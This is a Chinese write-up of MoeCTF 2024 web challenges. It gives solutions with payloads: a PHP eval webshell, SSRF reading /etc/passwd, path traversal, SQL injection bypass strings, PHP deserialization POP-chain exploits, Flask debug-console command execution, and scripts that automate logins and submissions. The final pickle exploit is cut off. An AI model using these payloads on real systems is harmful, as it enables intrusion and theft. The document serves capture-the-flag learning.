moectf2024-web复现


Web渗透测试与审计入门指北

题目描述:

1
2
3
欢迎来到web渗透与审计的世界!

点击上方下载附件,一起开启web安全的大门吧!

下载得到源码

index.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>web入门指北</title>
<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js"></script>
<style>
body {
text-align: center; /* 将文本内容居中 */
width: 50%; /* 设置块级元素的宽度 */
margin: 0 auto; /* 使用 margin 属性实现水平居中 */
background-color: #f0f0f0; /* 为了演示效果,设置背景颜色 */
padding: 20px; /* 设置内边距增加可读性 */
}
</style>
</head>
<body>
<h1 class="title">Welcome to Moectf</h1>
<div id="xt"></div>
<script>
fetch('script.php')
.then(response => response.json())
.then(data => {
var ciphertext = data.ciphertext;
var key = CryptoJS.enc.Utf8.parse(data.key);
var iv = CryptoJS.enc.Utf8.parse("17829693");


var decodedCiphertext = CryptoJS.enc.Base64.parse(ciphertext);


var decrypted = CryptoJS.AES.decrypt({ ciphertext: decodedCiphertext }, key, {
iv: iv,
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7
});


var plaintext = decrypted.toString(CryptoJS.enc.Utf8);


document.getElementById('xt').innerHTML = '<p>' + plaintext + '</p>';
})
.catch(error => console.error('Error:', error));
</script>
</body>
</html>

script.php

1
2
3
4
5
6
7
8
<?php
$data = array(
"ciphertext" => "F8NX+bX/AAT5oTosfY7JpiQ1oQM0onbI/41oFG9khFMr68qBn8ZlPia8XhrLSMFo",
"key" => "1234567891011121"
);
header('Content-Type: application/json');
echo json_encode($data);
?>

方法一:使用phpstudy搭建访问网页得到flag

方法二:

知道源码,直接进行AES解密

最后flag为

1
moectf{H3r3'5_@_flYinG_kIss_f0r_yoU!}

弗拉格之地的入口

题目描述:

1
听说弗拉格之地有七颗龙珠,集齐七颗龙珠就可以拥有大家想要的 flag,但是弗拉格之地非常的神秘,首先就要先找到它的入口

开启环境

访问/robots.txt

访问/webtutorEntry.php

最后flag为

1
moectf{CongrATU14tI0n-fOr_know1Ng_ROBOTS_tXT2492d}

弗拉格之地的挑战

题目描述:

1
千辛万苦闯入了弗拉格之地,但是怎么拿到七颗龙珠呢

开启环境

访问/flag1ab.html

查看源码

得到flag1

1
bW9lY3Rm

访问/flag2hh.php

查看http响应标头

得到flag2

1
e0FmdEV

访问/flag3cad.php

完成任务就行

得到flag3

1
yX3RoMXN

点击前往下一关

修改referer

游戏,没有9

修改前端,加个9

控制台看到

得到flag4

1
fdFVUMHJ

访问/flag5sxr.php

前端被禁,直接用hackbar的post传参功能

得到flag5

1
fSV90aDF

点击前往下一关

和前面一样,get以及post传参

要求

1
先是要求不能匹配到 flag , 但是有要求必须要有 flag,不要求大小写

得到flag6

1
rZV9VX2t

点击前往下一关

方法一:

1
what=system('cat /flag7');

方法二:

蚁剑连接

得到flag7

1
rbm93X1dlQn0=

根目录下还有提示

组合得到

1
bW9lY3Rme0FmdEVyX3RoMXNfdFVUMHJfSV90aDFrZV9VX2trbm93X1dlQn0=

base解密

最后flag为

1
moectf{AftEr_th1s_tUT0r_I_th1ke_U_kknow_WeB}

ez_http

题目描述:

1
http 基础

hackbar一把梭

最后flag为

1
moectf{you_ARe_Re4l1y-r3@l1Y_very-CIEv3R1!12bf4}

ProveYourLove

题目描述:

1
2
3
4
都七夕了,怎么还是单身狗丫?快拿起勇气向你 crush 表白叭,300份才能证明你的爱!

【七夕限定7分】拿不到就收下我的祝福吧:愿你和自己的幸福不期而遇!
Actually, your love still needs to be proven.💔💘

开启环境

只能提交一次,前端绕过

写脚本上传

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

url = 'http://192.168.0.115:12470/questionnaire'

data = {
'nickname': 'yiqing',
'target': '123',
'message': 'love you forever',
'user_gender': 'male',
'target_gender': 'male',
'anonymous': 'false'
}

for i in range(300):
response = requests.post(url, json=data)
print('Status Code:', response.status_code)
print('Response JSON:', response.json())

运行脚本返回页面看到上传300次得到flag

最后flag为

1
moectf{C0Ngr4TuI4TIonS-oN-63comlNG-A-lickiNg_DOG1c8}

ImageCloud前置

题目描述:

1
url后面怎么有个?url=, 啧啧啧,这貌似是一个很经典的漏洞, flag在/etc/passwd里,嗯?这是一个什么文件 声明:题目环境出不了网,无法访问http资源,但这并不影响做题,您可以拿着源码本地测试

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$url = $_GET['url'];

$ch = curl_init();
curl_setopt($ch CURLOPT_URL $url);
curl_setopt($ch CURLOPT_HEADER false);
curl_setopt($ch CURLOPT_RETURNTRANSFER true);
curl_setopt($ch CURLOPT_FOLLOWLOCATION true);

$res = curl_exec($ch);

$image_info = getimagesizefromstring($res);
$mime_type = $image_info['mime'];

header('Content-Type: ' . $mime_type);

curl_close($ch);

echo $res;
?>

经典ssrf

payload:

1
file:///etc/passwd

最后flag为

1
moectf{I_4M-verY-5ORrY_AboUt_thIs3890eb40}

垫刀之路01: MoeCTF?启动!

题目描述:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
欢迎来到垫刀之路
垫刀之路也是出到了七道题,感谢大家的一路陪伴。如果后面来比赛的师傅感觉题目做不下去了,可以来垫刀之路试炼一下哦!

为了方便各位 web 手在做各种精品题的时候可以享受更平滑的难度曲线,我们特意开启了一个 web 系列:垫刀之路。

垫刀之路将会混杂在普通的 web 题当中,考点单一,引导充足,难度十分简单。它将为你们之后做各种题进行垫刀。

在此系列的题目描述里,我会说明做此题前后的推荐题目,也就是说,垫刀之路的考点,完全可以作为之后做别的题目的前置知识,为精品题目垫刀

那么,现在享受垫刀之路的开始,非常简单哦!

本题可为以下题目垫刀:

弗拉格之地的挑战
pop moe

开启环境

查看环境变量得到flag,太快了,本来想直接试试的

1
env

最后flag为

1
moectf{WelcoME_T0_MOeCTf_4nD_RO4dl-5taRTup_6y_5xrhHH15a}

垫刀之路02: 普通的文件上传

题目描述:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
垫刀之路02
映入眼帘的是一个文件上传的按钮。看来只要上传点木马什么的,就可以控制机器了吧。

也憋说题目简单,出题人出的可不容易,这前后端还真得临时现学咋写。

什么?你说 flag 找不到?我看你还没有做垫刀之路01 吧 : )

建议在做完以下题目后前来挑战:

弗拉格之地的挑战
垫刀之路01
本题可为以下题目垫刀:

pop moe

上传一句话木马

1
<?php @eval($_POST['cmd']);?>

执行shell获取环境变量信息

1
cmd=system("env");

也可以蚁剑连接

最后flag为

1
moectf{UploAD-yOuR_p4yLOad_aNd_Do-wHAT_yoUr-w4NTf6d}

垫刀之路03: 这是一个图床

题目描述:

1
2
3
4
5
6
7
8
9
10
11
垫刀之路03
为了保证服务器的安全,Sxrhhh 把文件上传的类型进行了限制,现在终于只能上传图片了。

但是百密必有一疏,相信你能找到成功把你木马上传上去的方法的。

建议在做完以下题目后前来挑战:

垫刀之路02
本题可为以下题目垫刀:

未知

上传木马有限制,只允许只能上传 jpg/png/gif 格式的图片

改后缀.jpg上传木马抓包,修改为php

蚁剑连接

最后flag为

1
moectf{Bypass-tH3_MiMe-TypE-@nD_ExtENs1oN-y0U_Can-DO-It7}

垫刀之路04: 一个文件浏览器

题目描述:

1
2
3
4
5
6
7
8
9
10
11
12
垫刀之路04
Sxrhhh 做了一个文件浏览器,塞了很多东西进去。不知道你能不能从这一堆乱七八糟的文件里面,翻出你想要的 flag 呢?

注意:题目中有一些 readme 文件,我觉得你不应该错过。

再注:本题与 jail-lv1 考点无关,只是致敬 (cue) 一下 flag 位置

本题无前置

本题可为以下题目垫刀:

moejail_lv1

开启环境

目录文件查看器,path控制路径

远程目录穿越,尝试在tmp里找到flag

1
?path=../../../../tmp/flag

最后flag为

1
moectf{Cross_tHE-D1r3ctOrY-@nD_Y0u_may_FlnD_3Tc-P@sswd41}

垫刀之路05: 登陆网站

题目描述:

1
2
3
4
5
6
7
8
垫刀之路05
这是一个登陆页面。听说管理员叫 admin123 ,而且只要登陆成功,就会显示 flag 。可是,听管理员自己说,它自己的密码在密码强度检查器网站上,需要上百年才能被破译。那么,我们应该怎么登陆进去呢?

本题无前置

本题可为以下题目垫刀:

电院_Backend

万能密码得到flag

1
' or 1=1 #

最后flag为

1
moectf{Have-tH3-us3fuI_pAs5woRD-and_g0_3v3rYwh3rE-on1y-sQL_can_do0}

垫刀之路06: pop base mini moe

题目描述:

1
2
3
4
5
6
7
8
9
垫刀之路06
pop moe 青春版, 不是么?

建议在做完以下题目后再来挑战:

弗拉格之地的挑战
本题可为以下题目垫刀:

pop moe

开启环境

exp:

1
2
3
4
5
6
7
8
9
10
11
<?php

class A {
// 注意 private 属性的序列化哦
private $evil = "cat /flag";

// 如何赋值呢
private $a = "system";
}
$a = new A();
echo urlencode(serialize($a));

运行得到

1
O%3A1%3A%22A%22%3A2%3A%7Bs%3A7%3A%22%00A%00evil%22%3Bs%3A9%3A%22cat+%2Fflag%22%3Bs%3A4%3A%22%00A%00a%22%3Bs%3A6%3A%22system%22%3B%7D

传参得到

最后flag为

1
moectf{Ple@SE_KicK-cfB6_63caU5E_H3-R@iSe_POPM03-In_W33k1_haha0}

垫刀之路07: 泄漏的密码

题目描述:

1
2
3
4
5
6
垫刀之路07
Sxrhhh 正在使用 Flask 编写网站服务器,不慎泄漏了 PIN 码, 是时候给他一个乱用调试模式的教训了。

敬请期待联动考点!!

说句心里话:原计划四五道题的垫刀之路也是不知不觉出到了七道,正好和 弗拉格之地的挑战 凑个对。这里感谢大家对垫刀之路的一路陪伴,如果没有其他情况,这应该就是最后一道了。收拾好心情,我们将会在第三周放出更精品,更有挑战性的题目(其实也不难哦)

开启环境


进入控制台,访问/console,输入 PIN 码

分步执行命令

1
2
import os
os.popen('cat flag').read()

最后flag为

1
moectf{Dont_USlNg_Fl4SK-by_deBUg-mod_aND-1E4k-Y0ur_pln18}

静态网页

题目描述:

1
无意间发现 Sxrhhh 的个人博客。但是好像是静态博客,应该没什么攻打的必要了。。。

发现目录

访问/final1l1l_challenge.php

数字开头+字母绕过is_numeric函数,b数组上传a的MD5值

payload:

1
2
3
GET: ?a=0a
POST:
b[0a]=e99bb33727d338314912e86fbdec87af

最后flag为

1
moectf{Is_mY_WIFe-p1o-CHan_cute-Or_yoUr-wif3_15_Php?249}

电院_Backend

题目描述:

1
就这???貌似也不行呀

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
error_reporting(0);
session_start();

if($_POST){
$verify_code = $_POST['verify_code'];

// 验证验证码
if (empty($verify_code) || $verify_code !== $_SESSION['captcha_code']) {
echo json_encode(array('status' => 0,'info' => '验证码错误啦,再输入吧'));
unset($_SESSION['captcha_code']);
exit;
}

$email = $_POST['email'];
if(!preg_match("/[a-zA-Z0-9]+@[a-zA-Z0-9]+\\.[a-zA-Z0-9]+/", $email)||preg_match("/or/i", $email)){
echo json_encode(array('status' => 0,'info' => '不存在邮箱为: '.$email.' 的管理员账号!'));
unset($_SESSION['captcha_code']);
exit;
}

$pwd = $_POST['pwd'];
$pwd = md5($pwd);
$conn = mysqli_connect("localhost","root","123456","xdsec",3306);

$sql = "SELECT * FROM admin WHERE email='$email' AND pwd='$pwd'";
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);

if($row){
$_SESSION['admin_id'] = $row['id'];
$_SESSION['admin_email'] = $row['email'];
echo json_encode(array('status' => 1,'info' => '登陆成功,moectf{testflag}'));
} else{
echo json_encode(array('status' => 0,'info' => '管理员邮箱或密码错误'));
unset($_SESSION['captcha_code']);
}
}
?>

扫描目录

访问登录 - 后台管理中心 - 西安电子科技大学电子工程学院

绕过

1
123@a.b' || 1=1 #

最后flag为

1
moectf{i_DlD-NOT-3xPect_yOU-tO-bE_SO_5TrONg8dea9}

pop moe

题目描述:

1
PHP 基础:代码审计、序列化和搜索引擎的使用(×)

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php

class class000 {
private $payl0ad = 0;
protected $what;

public function __destruct()
{
$this->check();
}

public function check()
{
if($this->payl0ad === 0)
{
die('FAILED TO ATTACK');
}
$a = $this->what;
$a();
}
}

class class001 {
public $payl0ad;
public $a;
public function __invoke()
{
$this->a->payload = $this->payl0ad;
}
}

class class002 {
private $sec;
public function __set($a, $b)
{
$this->$b($this->sec);
}

public function dangerous($whaattt)
{
$whaattt->evvval($this->sec);
}

}

class class003 {
public $mystr;
public function evvval($str)
{
eval($str);
}

public function __tostring()
{
return $this->mystr;
}
}

if(isset($_GET['data']))
{
$a = unserialize($_GET['data']);
}
else {
highlight_file(__FILE__);
}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php

class class000 {
private $payl0ad = '0';
protected $what;//函数对象class01
public function __construct($x){
$this->what=$x;
}
public function __destruct()//入口
{
$this->check();
}

public function check()
{
if($this->payl0ad === 0)
{
die('FAILED TO ATTACK');
}
$a = $this->what;
$a();
}
}

class class001 {
public $payl0ad="dangerous";
public $a;//赋值class2
public function __construct($x){
$this->a=$x;
}
public function __invoke()
{
$this->a->payload = $this->payl0ad;//调用set方法
}
}

class class002 {
private $sec;
public function __construct($x){
$this->sec=$x;
}
public function __set($a, $b)
{
//echo $this->$b;
$this->$b($this->sec);
}

public function dangerous($whaattt)
{
$whaattt->evvval($this->sec);//调用类class003的函数,
}

}

class class003 {
public $mystr='system("set");';
public function evvval($str)
{

eval($str);
}

public function __tostring()
{
return $this->mystr;
}
}
$class3=new class003();
$class2=new class002($class3);
$class1=new class001($class2);
$class0=new class000($class1);

echo urlencode(serialize($class0));
//echo serialize($class0);
?>

payload:

1
O%3A8%3A%22class000%22%3A2%3A%7Bs%3A17%3A%22%00class000%00payl0ad%22%3Bs%3A1%3A%220%22%3Bs%3A7%3A%22%00%2A%00what%22%3BO%3A8%3A%22class001%22%3A2%3A%7Bs%3A7%3A%22payl0ad%22%3Bs%3A9%3A%22dangerous%22%3Bs%3A1%3A%22a%22%3BO%3A8%3A%22class002%22%3A1%3A%7Bs%3A13%3A%22%00class002%00sec%22%3BO%3A8%3A%22class003%22%3A1%3A%7Bs%3A5%3A%22mystr%22%3Bs%3A14%3A%22system%28%22set%22%29%3B%22%3B%7D%7D%7D%7D

最后flag为

1
moectf{1t_SEEms-THAT-YOU_kN0w_WH@T-I5_p0p_IN-PHPpPpppp1ll2}

勇闯铜人阵

题目描述:

1
闯过铜人阵就可以获得 xx寺的认可。这关的名字是 —— 听声辩位?

开启环境

一看就是得搓脚本

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
import re
import logging
import requests
from bs4 import BeautifulSoup
from pydash import trim

# 配置日志
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s',
handlers=[logging.StreamHandler()]
)
logger = logging.getLogger(__name__)

# 配置常量
BASE_URL = "http://127.0.0.1:1937/"
RESTART_ENDPOINT = f"{BASE_URL}/restart"
MAIN_ENDPOINT = BASE_URL
PLAYER_NAME = "sxrhhh"
MAX_ATTEMPTS = 5
REQUEST_TIMEOUT = 10 # 秒

# 方向映射
DIRECTIONS = ["北方", "东北方", "东方", "东南方", "南方", "西南方", "西方", "西北方"]

class GameSession:
def __init__(self):
self.session = requests.Session()
self.session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
})

def restart_game(self):
"""重启游戏会话"""
try:
response = self.session.get(RESTART_ENDPOINT, timeout=REQUEST_TIMEOUT)
response.raise_for_status()
logger.info("游戏已成功重启")
return True
except requests.exceptions.RequestException as e:
logger.error(f"重启游戏失败: {e}")
return False

def send_command(self, command):
"""向游戏发送指令"""
try:
payload = {"player": PLAYER_NAME, "direct": command}
response = self.session.post(MAIN_ENDPOINT, data=payload, timeout=REQUEST_TIMEOUT)
response.raise_for_status()
return response.text
except requests.exceptions.RequestException as e:
logger.error(f"发送指令失败: {e}")
return None

@staticmethod
def parse_game_status(html):
"""解析游戏状态"""
try:
soup = BeautifulSoup(html, "html.parser")
status_element = soup.find('h1', id='status')

if not status_element:
logger.warning("未找到状态元素")
return None, None

status_text = trim(status_element.text)
logger.debug(f"原始状态文本: {status_text}")

# 提取所有数字
numbers = re.findall(r'\d', status_text)

if not numbers:
logger.warning(f"状态文本中未找到数字: {status_text}")
return None, status_text

# 根据数字数量解析方向
if len(numbers) == 1:
direction = DIRECTIONS[int(numbers[0]) - 1]
return direction, status_text
else:
dir1 = DIRECTIONS[int(numbers[0]) - 1]
dir2 = DIRECTIONS[int(numbers[1]) - 1]
return f"{dir1}一个,{dir2}一个", status_text

except Exception as e:
logger.error(f"解析状态时出错: {e}")
return None, None

def main():
"""主游戏流程"""
game = GameSession()

# 重启游戏
if not game.restart_game():
logger.error("无法重启游戏,退出")
return

# 发送初始指令
response_html = game.send_command("弟子明白")
if not response_html:
logger.error("初始指令失败,退出")
return

# 游戏主循环
for attempt in range(MAX_ATTEMPTS):
logger.info(f"\n--- 第 {attempt + 1} 轮 ---")

# 解析状态并获取下一个指令
next_command, status_text = game.parse_game_status(response_html)

if not next_command:
logger.error("无法解析状态,退出")
break

logger.info(f"当前状态: {status_text}")
logger.info(f"下一指令: {next_command}")

# 发送指令
response_html = game.send_command(next_command)
if not response_html:
logger.error("指令发送失败,退出")
break

# 显示最新状态
_, new_status = game.parse_game_status(response_html)
if new_status:
logger.info(f"更新状态: {new_status}")

logger.info("\n游戏结束")

if __name__ == "__main__":
main()

运行得到

最后flag为

1
moectf{Wel11L-YOu_PA5S_the_chaLleNg3-fRrRrr0M_TonreN20}

从零开始的 XDU 教书生活

题目描述:

1
2
3
4
5
6
7
请通过静态附件在本地完成任务后再在平台的在线环境上复现,以避免占用过多的平台带宽。

你成为了 XDU 的一个教师,现在你的任务是让所有学生签上到(需要从学生账号签上到,而不是通过教师代签)。 注意:

本题约定:所有账号的用户名 == 手机号 == 密码。教师账号用户名:10000。
当浏览器开启签到页面时,二维码每 10 秒刷新一次,使用过期的二维码无法完成签到。(浏览器不开启签到页面时,不会进行自动刷新,可以持续使用有效的二维码,除非手动发送刷新二维码的请求) 当你完成任务后,请结束签到活动。你将会获得 Flag 。 本题的部分前端页面取自超星学习通网页,后端与其无关,仅用作场景还原,请勿对原网站进行任何攻击行为!
如果有任何疑问可通过锤子联系出题人。

主要就是要利用python的Request库,来模拟登录,和访问签到页面,用户的密码和账号涉及加密AES,需要编写对应的加密函数

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
import requests
from Crypto.Cipher import AES
import base64

# 请替换为您的靶机
BASE_URL = "http://127.0.0.1:3767/"

def encrypt_by_aes(data: str, key: str, iv: str) -> str:
key_bytes = key.encode("utf-8")
iv_bytes = iv.encode("utf-8")
cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)
data_bytes = data.encode("utf-8")
pad = 16 - len(data_bytes) % 16
data_bytes = data_bytes + bytes([pad] * pad)
encrypted_bytes = cipher.encrypt(data_bytes)
encrypted = base64.b64encode(encrypted_bytes).decode("utf-8")
return encrypted

def login(phone: str, password: str):
url = f"{BASE_URL}/fanyalogin"
key = "u2oh6Vu^HWe4_AES"
iv = "u2oh6Vu^HWe4_AES"

encrypted_phone = encrypt_by_aes(phone, key, iv)
encrypted_password = encrypt_by_aes(password, key, iv)

data = {
"uname": encrypted_phone,
"password": encrypted_password,
"t": "true"
}

session = requests.Session()
response = session.post(url, data=data)
response_data = response.json()

if response_data.get("status"):
return session
else:
print("Login failed:", response_data.get("msg2"))
return None

def get_unsigned_student_accounts(session):
url = f"{BASE_URL}/widget/sign/pcTeaSignController/showSignInfo1"
response = session.get(url)
response_data = response.json()
students = response_data["data"]["changeUnSignList"]
return students

def get_sign_code(session):
url = f"{BASE_URL}/v2/apis/sign/refreshQRCode"
response = session.get(url)
response_data = response.json()
if response_data.get("result") == 1:
return response_data["data"]["signCode"], response_data["data"]["enc"]
else:
print("Failed to get sign code:", response_data.get("errorMsg"))
return None, None

def sign_in(session, sign_code: str, enc: str):
url = f"{BASE_URL}/widget/sign/e"
params = {
"id": str(active_id),
"c": sign_code,
"enc": enc
}
response = session.get(url, params=params)
return response.text

def end_active(session):
url = f"{BASE_URL}/widget/active/endActive"
response = session.get(url)
response_data = response.json()
if response_data.get("result") == 1:
return response_data.get("errorMsg")
else:
print("Failed to end activity:", response_data.get("errorMsg"))
return None

if __name__ == "__main__":
teacher_phone = "10000"
teacher_password = "10000"
active_id = 4000000000000

teacher_session = login(teacher_phone, teacher_password)
if teacher_session:
students = get_unsigned_student_accounts(teacher_session)
sign_code, enc = get_sign_code(teacher_session)

for student in students:
student_session = login(str(student["uid"]), str(student["uid"]))
if student_session and sign_code and enc:
sign_in_response = sign_in(student_session, sign_code, enc)
print(f"Student {student["uid"]} sign in response:", sign_in_response)

flag = end_active(teacher_session)
print("Flag:", flag)

登录教师账号拿到cookie

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import requests

BASE_URL = "xxx"
TEACHER_PHONE = "10000"
PASSWORD = "10000"
QR_CODE_PARAMS = {
"id": "xxx",
"c": "xxx",
"enc": "xxx",
"DB_STRATEGY": "PRIMARY_KEY",
"STRATEGY_PARA": "id"
}

session = requests.Session()

def login_as_teacher():
response = session.post(f"{BASE_URL}/fanyalogin", data={
"uname": TEACHER_PHONE,
"password": PASSWORD
})
if response.json().get('status'):
print("Logged in as teacher successfully.")
else:
raise Exception("Failed to log in as teacher.")

def get_student_accounts():
response = session.get(f"{BASE_URL}/widget/sign/pcTeaSignController/showSignInfo1")
return [student["uid"] for student in response.json().get("data", {}).get("changeUnSignList", [])]

def login_as_student(phone):
response = session.post(f"{BASE_URL}/fanyalogin", data={
"uname": str(phone),
"password": str(phone)
})
return response.json().get('status')

def scan_qr_code():
response = session.get(f"{BASE_URL}/widget/sign/e", params=QR_CODE_PARAMS)
return response.text

def main():
login_as_teacher()
student_phones = get_student_accounts()

success_count = 0
for index, phone in enumerate(student_phones, start=1):
print(f"Logging in as student {phone} (#{index})...")
if login_as_student(phone):
print(f"Student {phone} logged in successfully.")
result = scan_qr_code()
print(f"Scan result for student {phone}: {result}")
if "签到成功" in result:
success_count += 1
session.cookies.clear()

print(f"All students processed. Total successful sign-ins: {success_count}.")
if success_count == len(student_phones):
print("All students have signed in successfully.")

if __name__ == "__main__":
main()

who’s blog?

题目描述:

1
Sxrhhh 的个人小站终究因为经营不善倒闭了,无奈只能拍卖自己的网站。不知道谁能来认领呢?

风景一把梭

最后flag为

1
moectf{Do_you-KNOw_5STi-And_pl3@s3_V1SIt_5xrhHhs-bIoG9}

ImageCloud

题目描述:

1
小x设计了一个外部图片云和内部图片云,但总感觉不太对

源码

app1.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from flask import Flask, request, send_file, abort, redirect, url_for
import os
import requests
from io import BytesIO
from PIL import Image
import mimetypes
from werkzeug.utils import secure_filename

app = Flask(__name__)

UPLOAD_FOLDER = 'static/'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

ALLOWED_EXTENSIONS = {'jpg', 'jpeg', 'png', 'gif'}

uploaded_files = []

def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/')
def index():
return '''
<h1>图片上传</h1>
<form method="post" enctype="multipart/form-data" action="/upload">
<input type="file" name="file">
<input type="submit" value="上传">
</form>
<h2>已上传的图片</h2>
<ul>
''' + ''.join(
f'<li><a href="/image?url=http://localhost:5000/static/{filename}">{filename}</a></li>'
for filename in uploaded_files
) + '''
</ul>
'''

@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return '未找到文件部分', 400
file = request.files['file']

if file.filename == '':
return '未选择文件', 400
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
ext = filename.rsplit('.', 1)[1].lower()

unique_filename = f"{len(uploaded_files)}_{filename}"
filepath = os.path.join(app.config['UPLOAD_FOLDER'], unique_filename)

file.save(filepath)
uploaded_files.append(unique_filename)

return redirect(url_for('index'))
else:
return '文件类型不支持', 400

@app.route('/image', methods=['GET'])
def load_image():
url = request.args.get('url')
if not url:
return 'URL 参数缺失', 400

try:
response = requests.get(url)
response.raise_for_status()
img = Image.open(BytesIO(response.content))

img_io = BytesIO()
img.save(img_io, img.format)
img_io.seek(0)
return send_file(img_io, mimetype=img.get_format_mimetype())
except Exception as e:
return f"无法加载图片: {str(e)}", 400

if __name__ == '__main__':
if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)
app.run(host='0.0.0.0', port=5000)

app2.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from flask import Flask, request, send_file, abort, redirect, url_for
import os
import requests
from io import BytesIO
from PIL import Image
import mimetypes
from werkzeug.utils import secure_filename
import socket
import random

app = Flask(__name__)

UPLOAD_FOLDER = 'uploads/'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

ALLOWED_EXTENSIONS = {'jpg', 'jpeg', 'png', 'gif'}

uploaded_files = []

def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

def get_mimetype(file_path):
mime = mimetypes.guess_type(file_path)[0]
if mime is None:
try:
with Image.open(file_path) as img:
mime = img.get_format_mimetype()
except Exception:
mime = 'application/octet-stream'
return mime

def find_free_port_in_range(start_port, end_port):
while True:
port = random.randint(start_port, end_port)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', port))
s.close()
return port

@app.route('/')
def index():
return '''
<h1>图片上传</h1>
<form method="post" enctype="multipart/form-data" action="/upload">
<input type="file" name="file">
<input type="submit" value="上传">
</form>
<h2>已上传的图片</h2>
<ul>
''' + ''.join(f'<li><a href="/image/{filename}">{filename}</a></li>' for filename in uploaded_files) + '''
</ul>
'''

@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return '未找到文件部分', 400
file = request.files['file']

if file.filename == '':
return '未选择文件', 400
if file and allowed_file(file.filename):

filename = secure_filename(file.filename)
ext = filename.rsplit('.', 1)[1].lower()

unique_filename = f"{len(uploaded_files)}_{filename}"
filepath = os.path.join(app.config['UPLOAD_FOLDER'], unique_filename)

file.save(filepath)
uploaded_files.append(unique_filename)

return redirect(url_for('index'))
else:
return '文件类型不支持', 400

@app.route('/image/<filename>', methods=['GET'])
def load_image(filename):
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if os.path.exists(filepath):
mime = get_mimetype(filepath)
return send_file(filepath, mimetype=mime)
else:
return '文件未找到', 404

if __name__ == '__main__':
if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)
port = find_free_port_in_range(5001, 6000)
app.run(host='0.0.0.0', port=port)

访问抓包

1
http://localhost:5114/image/flag.jpg

抓包爆破

PetStore

题目描述:

1
2
3
4
5
喵喵把 flag 丢在宠物商店了,帮她找回 flag 吧!

* 将根据解题情况逐步发放新的 hint。

* 有任何疑问可通过锤子提问。

Pickle反序列化

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
